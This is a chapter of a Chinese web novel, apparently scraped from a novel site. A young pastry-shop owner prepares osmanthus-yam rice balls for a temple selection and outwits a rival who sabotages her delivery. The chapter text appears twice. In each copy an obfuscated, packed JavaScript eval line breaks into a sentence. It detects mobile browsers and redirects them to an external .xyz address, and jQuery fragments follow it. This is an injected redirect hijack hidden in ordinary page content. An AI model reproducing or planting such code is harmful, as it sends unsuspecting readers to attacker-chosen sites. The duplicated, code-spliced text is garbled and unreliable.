原源 作品
37. 糯米团子
“这些加了猪油的米面怎么办？”谢宗林把旧的全部换成新的。
就算周大再三保证过了，没在里面加什么乱七八糟的东西，他们也不敢拿这些做给客人吃，但扔掉又舍不得。
“和周大放一起，等天亮了一块送去衙门去，让他赔。”好安咬牙切齿，手上没控制好力道，把山药削断了。
好安正要用筷子去夹地上的那根削了一半山药，就见谢宗林直接用手拿了起来。
“我来吧。”
“你别……”
谢宗林一下顿住，拿着山药的手不知该如何是好。
“快放这。”好安赶紧拿来一个盘子，示意谢宗林松手，然后一把抓住他的手腕看了看，问道：“手痒吗？”
烛光摇摇晃晃，好安看不清，把头朝前凑了凑。
手被握住了，手离她的脸好近，甚至能感觉到温热的呼吸。
“手痒吗？”好安见谢宗林迟迟不说话，又问了一次。
“啊，不，不痒。”谢宗林觉得被握住的地方好烫，手也好烫，像是在燃烧，烧得他胳膊麻麻的，脑袋也麻麻的。
“你不痒！”好安一下瞪大了眼睛，看向谢宗林的目光像是发现了什么稀世珍宝。
有人对山药不过敏！
“那这山药都归你了，你来削，凫茈也是。”好安连忙解开左手上的布带，把刀塞给谢宗林，兴奋道：“家里的山药以后都你削。”
好安的指尖无意的扫过谢宗林手心，谢宗林迅速扭头，躲开好安的目光。
“啊，好。”谢宗林结巴应道。
好安心里念着点心，自然没有发现谢宗林的反常，一边拿着一个空碗往外冲，一边侧头对他说道：“削完全部蒸上，记得把栀子黄也泡上。”
月色下的桂花树亭亭玉立，一簇簇桂花掩映在碧绿的枝叶下显得神秘而又梦幻。
不就是枣泥没了，她好安没有枣泥也能做出不一样的点心。
好安轻轻摇了摇桂花树，很快，地上落满了桂花。
这些桂花都不要。
掉下来的桂花蔫得也快。好安要的是枝头开得正盛的。
一朵朵难摘，一簇簇很快。好安掐下一簇，然后双指轻轻往前一推，花和梗便分开了。
桂花是辅料，用不了太多，好安摘了半碗便收手。
新鲜的桂花用盐水浸泡一会，洗掉藏在花蕊深处的小黑虫，然后放在灶膛附近烘干水汽。
碾碎的栀子黄和水充分接触，快速散发出黄.色素。用他和面，直至面团颜色均匀。然后把面团捏成多个小饼，放开水里煮。
好安一边切凫茈，一边留意锅里的情况，见面饼都上浮，便指挥谢宗林捞上来。
趁热，好安朝盆里加一勺玉米油。
刚出锅的面饼太烫，好安先用擀面杖捣，等不烫了便用手揉面。
玉米油缓缓渗入糯米团，好安开始反复拉扯。面团逐渐变得光滑流畅，弹性十足。
好安将面团分成小剂子，这是桂花山药糕外皮。
桂花山药糕原本是淋糖桂花，但考虑到这次选拔除了用在斋堂还要放在佛像前供奉。供奉后这些点心还要分发给香客。黏糊糊的酱汁十分不便，她便改了改。
之前的山药是做外皮，这次山药便做成馅。
捣成泥的山药加入切碎的凫茈和桂花，再加少许黄.冰糖粉末。这四样一定要搅透，做到你中有我，我中有你，不然口感会十分奇怪。
凫茈口感清脆，使软绵的山药泥不在单调。沁人心脾的桂花不仅大大增加了香气，也能减弱栀子黄的寒性。
风味互补，功效平衡。
好安将小剂子的面皮搓成球，然后压平捏成一片片薄薄的皮。
放入馅料，包捏收口，再滚上一层熟糯米粉，便好了。
另一边。
福缘斋的少东家也是街香居的少东家，见周大迟迟未归便猜到人被逮了。
“周大不会把我们供出来吧。”少东家捏着手心，在屋里来回踱步。
今年都计算好了，搞两个名额，多递一份点心增加胜算，结果半路冒出个好记，抢先一步，占了福缘斋的名额，害的他被他爹揍了一顿，还禁足一个月。
“不会，周大虽是个浑球，但办事还算得力。”掌柜站在一边陪着笑。
“那他们会不会打他，威胁他，逼他供出我们？”少东家面露担忧道。
“少爷放心，周大光棍一个，上没老下没小，有什么事情能威胁到他？最多是揍一顿，回头多给他点钱就行了。”
“可好记东家身边有个大高个，看着就是个会打架的。周大能扛得住他一拳头吗？”
“他不是第一回干这种事，他有经验。”掌柜谄媚一笑，给少东家斟了一杯茶，说道：“既然被发现了，那我们后面……”
“干，继续干。”少东家脱口而出，他屁股现在都坐不下来，不好好整整好记，他咽不下这口气。
好安看了一眼天色，东方刚刚泛白，时间还早便忙活店里的事。
辰时一到，好家村的几个姑娘第一个到。
她们都是相互约好，早上一起做村里的牛车来，晚上再一起回。
今刚好周娟他哥要来县城，便顺路把他们都稍上了。
“你哥今天上午有事吗？”好安见状问道。
“没，他中午才有事。”
“我这边上午有个活，中午前结束。你哥接吗？”
“接！”周娟毫不犹豫道。
“行，你让他马上去后院找我。”好安说完又看了眼周娟。
周娟和她个头差不多，身材也相似。
“你也来。”
好安回去拿了一件自己的衣服和一个帷帽递给她道：“换上。”
周娟不明所以，但还是照办。
“你和你哥巳时之前帮我把这个送去云台寺。”好安提来笼点心，说道：“用我的牛车。”
“路上可能不太顺，要是遇到拦车的，你不要露面，但你们要表现的焦急。若是遇到撞车的，安全最重要。”好安强调道。
“我哥驾车很稳的。”
“跟你哥稳不稳没关系，路上容易有人不长眼。”
“啊？”周娟疑惑，路上现在这么不安全吗？
“那点心还能准时送到吗？”周娟问道。
“尽量就行，迟到也无所谓。”
周娟前脚出门，好安后脚也跟着走了。
她从车马行租了一辆马车，绕路去了云台寺。
周娟和她哥一路小心翼翼，生怕撞了别人或者被别人撞了。
“过了这个竹林，前面就是云台寺了。好安是不是驾车时摔过，还是被人讹过。这一路不挺正常的吗？”
“看你的路。”周娟握着食盒，透过窗缝朝外看去。
到这人明显少了很多，一路上也没遇到好安说的情况，但周娟仍不敢放松。
“驾。”身后突然传来嗒嗒的马蹄。这声音一停就知道速度极快。
“哥，你快让让。”周娟催促道。
“让啦。”周娟她哥拉着缰绳，想把牛车靠在路边。
但牛的速度缓慢，哪有马蹄来的迅速。
车尾还没转过来，左轱辘便和马撞上了。
“吁。”对方一时没刹住，左轮子被踢歪了。
周娟在车里一震，连忙抱住食盒。
“一辆破牛车还占着路中间，真碍事。”来人骑在马上，嘲笑道：“你这破车还能动吗？”说着甩了一鞭子，指挥着马又踢一脚。
一连串的事情发生在一瞬间，车轮脱落，车厢带着一晃，周娟没坐稳，手里的食盒一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063725|160922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摔飞出去。
食盒里的点心散落一地，来人驾着马在上面来来回头踩了几脚。
等周娟他哥爬起来时，来人已经驾着马跑远了。
“你没事吧。”周娟她哥扶起周娟，关心道。
“没事。就是点心洒了。”
“万和县何时出了这种神经病。”
看着远去的背影，追肯定追不上了，周娟他哥只能冲着那个方向吐了几口唾沫。
“这车还能修吗？”
“能。”周娟她哥看了一眼，说道：“只是车辖坏了，你看一下车上有备用的吗？没有用绳子临时绑一下也行。”
普通人家的车辖多是木头做的，车用得多，路不平整，车辖就容易断裂。
没了车辖，车轮无法固定在车轴上。所以大家车上都会备上一些。
周娟她哥三两下便装好，说道：“回去重拿一份点吧。”
云台寺的考核时间是辰时四刻，好安掐着时间把点心交了上去。
“好老板这个是？”
这种样式的点心，职事僧从未见过。
“糯米团子，桂花山药味的。”
好安本想叫桂花山药糕，但这样子和糕实在相差甚远，还是决定叫回原来的名字。
她是最后一个，职事僧登记好名册，便端着五样点心离开了。
职事僧一走，好安带头说话。
“冯掌柜早啊。”
她刚进来的时候，这个人就面露惊愕，像是对她的出现感到意外。
“好老板早。”冯掌柜一愣，随即冲好安笑了笑。
“冯掌柜昨晚睡得好吗？”好安抬手给他倒了杯茶。
“好，挺好。”
一个十来岁小姑娘问一个四五十岁的老头睡得好不好。这个年代可没这样的社交开场白。众人一下都不说话了，纷纷竖着耳朵。
“那冯老板今天怎么有这么重的黑眼圈，我记得上次还没吧。”
“年纪大了，年纪大了。”
“年纪大了就要多注意身体，少盘心思，不然眼里都是红血丝，容易得病。”
“哈哈。”冯掌柜尴尬的笑了笑，抬手摸了摸额头。
“我刚刚进来的时候冯掌柜怎么满脸惊讶？怎么，冯掌柜觉得我来不了？”好安笑道：“呦，冯掌柜怎么出汗了。这天也不热啊。”
“怎么会。”
好安一番话把冯掌柜说的提心吊胆。
好安给其他三位也各到了一杯茶，自我介绍道：“在下好安，好记老板。”
“久仰。”
“好老板的点心甚是不同，不知师从何人？”
“确实，在下买过好记的点心，不少都是从未见过的。”
一个糖糕记的少东家，一个甜园的掌柜都凑了过来。他俩都对好安充满好奇。
要不是因为好记的师傅就是老板，他们都想把人挖过来。
好安随意说道：“我就是喜欢瞎搭配，搭配多了，便做了不少稀奇古怪的东西，有些味道就不错，我就拿出来卖了。”
“好老板年轻，想法多，就是不一样。”甜园的掌柜笑道。
其他人也跟着笑了笑。
“年轻也不好，阅历少，考虑不周全，遇着事了总不知如何是好。”好安叹了口气，便把家里遭贼的事情大剌剌的说了出来。
“周大就一泼皮无赖，好老板还是多买些看家护院的人。”糖糕记的少东家听了连连摇头。
“冯掌柜，你说碰到这种情况应该怎么办啊？”
四双目光齐刷刷看自己，冯掌柜又想抬头擦汗了。
“送官，这种人赶紧送官。”
好安和他们都不熟，偏偏她时不时的就Q一下冯掌柜，在座的都不是傻子，自然看出其中有猫腻。但大家也不说，依旧笑呵呵的聊天。
就算周大再三保证过了，没在里面加什么乱七八糟的东西，他们也不敢拿这些做给客人吃，但扔掉又舍不得。
“和周大放一起，等天亮了一块送去衙门去，让他赔。”好安咬牙切齿，手上没控制好力道，把山药削断了。
好安正要用筷子去夹地上的那根削了一半山药，就见谢宗林直接用手拿了起来。
“我来吧。”
“你别……”
谢宗林一下顿住，拿着山药的手不知该如何是好。
“快放这。”好安赶紧拿来一个盘子，示意谢宗林松手，然后一把抓住他的手腕看了看，问道：“手痒吗？”
烛光摇摇晃晃，好安看不清，把头朝前凑了凑。
手被握住了，手离她的脸好近，甚至能感觉到温热的呼吸。
“手痒吗？”好安见谢宗林迟迟不说话，又问了一次。
“啊，不，不痒。”谢宗林觉得被握住的地方好烫，手也好烫，像是在燃烧，烧得他胳膊麻麻的，脑袋也麻麻的。
“你不痒！”好安一下瞪大了眼睛，看向谢宗林的目光像是发现了什么稀世珍宝。
有人对山药不过敏！
“那这山药都归你了，你来削，凫茈也是。”好安连忙解开左手上的布带，把刀塞给谢宗林，兴奋道：“家里的山药以后都你削。”
好安的指尖无意的扫过谢宗林手心，谢宗林迅速扭头，躲开好安的目光。
“啊，好。”谢宗林结巴应道。
好安心里念着点心，自然没有发现谢宗林的反常，一边拿着一个空碗往外冲，一边侧头对他说道：“削完全部蒸上，记得把栀子黄也泡上。”
月色下的桂花树亭亭玉立，一簇簇桂花掩映在碧绿的枝叶下显得神秘而又梦幻。
不就是枣泥没了，她好安没有枣泥也能做出不一样的点心。
好安轻轻摇了摇桂花树，很快，地上落满了桂花。
这些桂花都不要。
掉下来的桂花蔫得也快。好安要的是枝头开得正盛的。
一朵朵难摘，一簇簇很快。好安掐下一簇，然后双指轻轻往前一推，花和梗便分开了。
桂花是辅料，用不了太多，好安摘了半碗便收手。
新鲜的桂花用盐水浸泡一会，洗掉藏在花蕊深处的小黑虫，然后放在灶膛附近烘干水汽。
碾碎的栀子黄和水充分接触，快速散发出黄.色素。用他和面，直至面团颜色均匀。然后把面团捏成多个小饼，放开水里煮。
好安一边切凫茈，一边留意锅里的情况，见面饼都上浮，便指挥谢宗林捞上来。
趁热，好安朝盆里加一勺玉米油。
刚出锅的面饼太烫，好安先用擀面杖捣，等不烫了便用手揉面。
玉米油缓缓渗入糯米团，好安开始反复拉扯。面团逐渐变得光滑流畅，弹性十足。
好安将面团分成小剂子，这是桂花山药糕外皮。
桂花山药糕原本是淋糖桂花，但考虑到这次选拔除了用在斋堂还要放在佛像前供奉。供奉后这些点心还要分发给香客。黏糊糊的酱汁十分不便，她便改了改。
之前的山药是做外皮，这次山药便做成馅。
捣成泥的山药加入切碎的凫茈和桂花，再加少许黄.冰糖粉末。这四样一定要搅透，做到你中有我，我中有你，不然口感会十分奇怪。
凫茈口感清脆，使软绵的山药泥不在单调。沁人心脾的桂花不仅大大增加了香气，也能减弱栀子黄的寒性。
风味互补，功效平衡。
好安将小剂子的面皮搓成球，然后压平捏成一片片薄薄的皮。
放入馅料，包捏收口，再滚上一层熟糯米粉，便好了。
另一边。
福缘斋的少东家也是街香居的少东家，见周大迟迟未归便猜到人被逮了。
“周大不会把我们供出来吧。”少东家捏着手心，在屋里来回踱步。
今年都计算好了，搞两个名额，多递一份点心增加胜算，结果半路冒出个好记，抢先一步，占了福缘斋的名额，害的他被他爹揍了一顿，还禁足一个月。
“不会，周大虽是个浑球，但办事还算得力。”掌柜站在一边陪着笑。
“那他们会不会打他，威胁他，逼他供出我们？”少东家面露担忧道。
“少爷放心，周大光棍一个，上没老下没小，有什么事情能威胁到他？最多是揍一顿，回头多给他点钱就行了。”
“可好记东家身边有个大高个，看着就是个会打架的。周大能扛得住他一拳头吗？”
“他不是第一回干这种事，他有经验。”掌柜谄媚一笑，给少东家斟了一杯茶，说道：“既然被发现了，那我们后面……”
“干，继续干。”少东家脱口而出，他屁股现在都坐不下来，不好好整整好记，他咽不下这口气。
好安看了一眼天色，东方刚刚泛白，时间还早便忙活店里的事。
辰时一到，好家村的几个姑娘第一个到。
她们都是相互约好，早上一起做村里的牛车来，晚上再一起回。
今刚好周娟他哥要来县城，便顺路把他们都稍上了。
“你哥今天上午有事吗？”好安见状问道。
“没，他中午才有事。”
“我这边上午有个活，中午前结束。你哥接吗？”
“接！”周娟毫不犹豫道。
“行，你让他马上去后院找我。”好安说完又看了眼周娟。
周娟和她个头差不多，身材也相似。
“你也来。”
好安回去拿了一件自己的衣服和一个帷帽递给她道：“换上。”
周娟不明所以，但还是照办。
“你和你哥巳时之前帮我把这个送去云台寺。”好安提来笼点心，说道：“用我的牛车。”
“路上可能不太顺，要是遇到拦车的，你不要露面，但你们要表现的焦急。若是遇到撞车的，安全最重要。”好安强调道。
“我哥驾车很稳的。”
“跟你哥稳不稳没关系，路上容易有人不长眼。”
“啊？”周娟疑惑，路上现在这么不安全吗？
“那点心还能准时送到吗？”周娟问道。
“尽量就行，迟到也无所谓。”
周娟前脚出门，好安后脚也跟着走了。
她从车马行租了一辆马车，绕路去了云台寺。
周娟和她哥一路小心翼翼，生怕撞了别人或者被别人撞了。
“过了这个竹林，前面就是云台寺了。好安是不是驾车时摔过，还是被人讹过。这一路不挺正常的吗？”
“看你的路。”周娟握着食盒，透过窗缝朝外看去。
到这人明显少了很多，一路上也没遇到好安说的情况，但周娟仍不敢放松。
“驾。”身后突然传来嗒嗒的马蹄。这声音一停就知道速度极快。
“哥，你快让让。”周娟催促道。
“让啦。”周娟她哥拉着缰绳，想把牛车靠在路边。
但牛的速度缓慢，哪有马蹄来的迅速。
车尾还没转过来，左轱辘便和马撞上了。
“吁。”对方一时没刹住，左轮子被踢歪了。
周娟在车里一震，连忙抱住食盒。
“一辆破牛车还占着路中间，真碍事。”来人骑在马上，嘲笑道：“你这破车还能动吗？”说着甩了一鞭子，指挥着马又踢一脚。
一连串的事情发生在一瞬间，车轮脱落，车厢带着一晃，周娟没坐稳，手里的食盒一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063725|160922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摔飞出去。
食盒里的点心散落一地，来人驾着马在上面来来回头踩了几脚。
等周娟他哥爬起来时，来人已经驾着马跑远了。
“你没事吧。”周娟她哥扶起周娟，关心道。
“没事。就是点心洒了。”
“万和县何时出了这种神经病。”
看着远去的背影，追肯定追不上了，周娟他哥只能冲着那个方向吐了几口唾沫。
“这车还能修吗？”
“能。”周娟她哥看了一眼，说道：“只是车辖坏了，你看一下车上有备用的吗？没有用绳子临时绑一下也行。”
普通人家的车辖多是木头做的，车用得多，路不平整，车辖就容易断裂。
没了车辖，车轮无法固定在车轴上。所以大家车上都会备上一些。
周娟她哥三两下便装好，说道：“回去重拿一份点吧。”
云台寺的考核时间是辰时四刻，好安掐着时间把点心交了上去。
“好老板这个是？”
这种样式的点心，职事僧从未见过。
“糯米团子，桂花山药味的。”
好安本想叫桂花山药糕，但这样子和糕实在相差甚远，还是决定叫回原来的名字。
她是最后一个，职事僧登记好名册，便端着五样点心离开了。
职事僧一走，好安带头说话。
“冯掌柜早啊。”
她刚进来的时候，这个人就面露惊愕，像是对她的出现感到意外。
“好老板早。”冯掌柜一愣，随即冲好安笑了笑。
“冯掌柜昨晚睡得好吗？”好安抬手给他倒了杯茶。
“好，挺好。”
一个十来岁小姑娘问一个四五十岁的老头睡得好不好。这个年代可没这样的社交开场白。众人一下都不说话了，纷纷竖着耳朵。
“那冯老板今天怎么有这么重的黑眼圈，我记得上次还没吧。”
“年纪大了，年纪大了。”
“年纪大了就要多注意身体，少盘心思，不然眼里都是红血丝，容易得病。”
“哈哈。”冯掌柜尴尬的笑了笑，抬手摸了摸额头。
“我刚刚进来的时候冯掌柜怎么满脸惊讶？怎么，冯掌柜觉得我来不了？”好安笑道：“呦，冯掌柜怎么出汗了。这天也不热啊。”
“怎么会。”
好安一番话把冯掌柜说的提心吊胆。
好安给其他三位也各到了一杯茶，自我介绍道：“在下好安，好记老板。”
“久仰。”
“好老板的点心甚是不同，不知师从何人？”
“确实，在下买过好记的点心，不少都是从未见过的。”
一个糖糕记的少东家，一个甜园的掌柜都凑了过来。他俩都对好安充满好奇。
要不是因为好记的师傅就是老板，他们都想把人挖过来。
好安随意说道：“我就是喜欢瞎搭配，搭配多了，便做了不少稀奇古怪的东西，有些味道就不错，我就拿出来卖了。”
“好老板年轻，想法多，就是不一样。”甜园的掌柜笑道。
其他人也跟着笑了笑。
“年轻也不好，阅历少，考虑不周全，遇着事了总不知如何是好。”好安叹了口气，便把家里遭贼的事情大剌剌的说了出来。
“周大就一泼皮无赖，好老板还是多买些看家护院的人。”糖糕记的少东家听了连连摇头。
“冯掌柜，你说碰到这种情况应该怎么办啊？”
四双目光齐刷刷看自己，冯掌柜又想抬头擦汗了。
“送官，这种人赶紧送官。”
好安和他们都不熟，偏偏她时不时的就Q一下冯掌柜，在座的都不是傻子，自然看出其中有猫腻。但大家也不说，依旧笑呵呵的聊天。